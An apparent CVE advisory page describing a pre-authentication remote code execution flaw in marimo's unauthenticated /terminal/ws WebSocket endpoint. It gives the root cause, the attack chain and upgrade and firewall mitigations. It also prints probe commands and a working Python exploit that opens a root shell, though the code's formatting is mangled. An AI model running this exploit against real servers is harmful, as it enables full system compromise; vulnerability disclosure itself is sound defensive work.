Marimo, Pre-Auth RCE, Critical

Listen to this Post

How the CVE Works:

The vulnerability resides in the `/terminal/ws` WebSocket endpoint, which completely lacks authentication validation. Unlike other endpoints such as `/ws` that call validate_auth(), the terminal endpoint only checks the running mode and platform support before accepting connections.
The issue originates in marimo/_server/api/endpoints/terminal.py, lines 340‑356, where `websocket.accept()` is called without any prior authentication. In contrast, the `/ws` endpoint in ws_endpoint.py, lines 67‑82, correctly uses WebSocketConnectionValidator.validate_auth().
Marimo uses Starlette’s AuthenticationMiddleware, which marks unauthenticated users as `UnauthenticatedUser` but does not actively reject WebSocket connections. The actual enforcement depends on `@requires()` decorators or explicit `validate_auth()` calls – neither of which are present for /terminal/ws.

Attack chain:

1. Attacker connects to `ws://TARGET:2718/terminal/ws` (no authentication required).

2. `websocket.accept()` accepts the connection immediately.

3. `pty.fork()` creates a PTY child process, providing an interactive shell.

4. The attacker can execute arbitrary system commands.

In default Docker deployments, commands run as root. A single WebSocket connection yields a complete interactive shell, allowing full system compromise.

DailyCVE Form:

Platform: ……. marimo
Version: …….. <=0.20.4
Vulnerability :…… Pre-Auth RCE
Severity: ……. Critical
date: ………. 2026-04-08

Prediction: include expected Patch date. 2026-04-15

Analytics under What Undercode Say:

Check if the vulnerable endpoint is exposed
curl -s -o /dev/null -w "%{http_code}" http://TARGET:2718/terminal/ws
Use websocat to test the WebSocket connection
websocat ws://TARGET:2718/terminal/ws -v
Python script to verify authentication bypass
python3 -c "import websocket; ws = websocket.WebSocket(); ws.connect('ws://TARGET:2718/terminal/ws'); ws.send('id\n'); print(ws.recv())"

Exploit:

import websocket
import time
ws = websocket.WebSocket()
ws.connect('ws://TARGET:2718/terminal/ws')
time.sleep(2)
Drain initial output
try:
while True:
ws.settimeout(1)
ws.recv()
except:
pass
Execute command
ws.send('id\n')
time.sleep(2)
print(ws.recv()) uid=0(root) gid=0(root) groups=0(root)
ws.close()

Protection from this CVE:

  • Upgrade to marimo version 0.23.0 or later, where the endpoint requires authentication.
  • If upgrading is not possible, disable the terminal functionality entirely via configuration.
  • Apply a network‑level firewall rule to block access to the WebSocket endpoint from untrusted sources.

Impact:

Unauthenticated attackers gain an interactive root shell, leading to complete server compromise, data exfiltration, and lateral movement within the network. No user interaction or authentication token is required.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top